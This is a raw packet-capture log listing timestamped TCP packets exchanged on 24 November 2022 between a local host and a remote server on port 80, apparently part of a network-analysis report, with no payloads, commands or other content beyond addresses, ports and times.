Nov 24, 2022 16:57:36.842345953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842374086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842400074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842427969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842456102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842483044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842510939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842539072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842566967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842596054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842622995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842652082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842679977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842709064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842710972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842730045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842739105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842767954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842796087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842823982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842854023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842864037 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842911005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842937946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842961073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842964888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842978001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842993021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843019009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843036890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843046904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843072891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843100071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843122005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843128920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843144894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843158007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843187094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843213081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843238115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843241930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843261003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843267918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843295097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843317032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843321085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843348980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843372107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843377113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843406916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843426943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843568087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843595028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843622923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843648911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843650103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843667984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843677998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843707085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843720913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843734026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843760014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843787909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843803883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843816042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843831062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843843937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843872070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843898058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843899012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843926907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843951941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843976974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.843976974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.843997002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844022989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844050884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844088078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844109058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844115973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844125986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844145060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844172001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844192982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844201088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844245911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844270945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844273090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844316959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844326019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844353914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844383955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844409943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844410896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844441891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844470024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844495058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844496012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844513893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844525099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844553947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844579935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844603062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844609976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844621897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844643116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844671011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844688892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844700098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844727993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844755888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844775915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844784975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844795942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844814062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844842911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844862938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844871998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844902039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844930887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844947100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844958067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.844974995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.844985962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845016003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845067024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845097065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845128059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845155001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845179081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845182896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845196009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845216036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845243931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845266104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845273972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845304966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845334053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845352888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845362902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845387936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845391989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845422029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845441103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845448971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845479012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845506907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845530033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845535994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845552921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845577955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845602989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845629930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845629930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845655918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845681906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845702887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845710993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845722914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845741034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845767021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845788002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845794916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845822096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845849037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845868111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845876932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.845890045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.845905066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846049070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846076012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846105099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846111059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846142054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846151114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846183062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846204996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846210003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846240997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846265078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846266985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846297026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846323967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846340895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846350908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846380949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846398115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846409082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846425056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846431971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846455097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846477032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846478939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846499920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846522093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846543074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846544981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846563101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846565962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846591949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846626997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846637964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846652031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846677065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846697092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846700907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846715927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846729040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846755981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846781969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846803904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.846812010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.846822977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847053051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847084045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847112894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847116947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847143888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847170115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847172976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847206116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847237110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847250938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847281933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847311020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847328901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847340107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847353935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847372055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847398996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847418070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847425938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847454071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847491980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847510099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847520113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847549915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847570896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847588062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847589970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847645998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847666979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847690105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847692966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847713947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847734928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847757101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847759008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847774982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847781897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847809076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847831964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847853899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.847853899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847872019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.847878933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848040104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848083019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848089933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848110914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848135948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848157883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848160982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848174095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848189116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848213911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848237991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848258018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848262072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848275900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848289013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848314047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848330975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848337889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848365068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848390102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848411083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848414898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848433971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848442078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848469973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848494053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848514080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848519087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848532915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848545074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848570108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848589897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848596096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848622084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848639011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848647118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848673105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848692894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848697901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848725080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848748922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848768950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848773003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848786116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.848969936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.848995924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849020958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849041939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849045992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849061012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849072933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849101067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849118948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849127054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849153042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849176884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849195957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849200964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849212885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849225998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849251986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849272966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849277020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849302053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849318981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849327087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849354029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849379063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849396944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849416018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849507093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849534035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849577904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849592924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849620104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849646091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849666119 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849673033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849699974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849724054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849745035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849747896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849762917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849773884 CET	80	49713	66.235.200.147	192.168.2.3
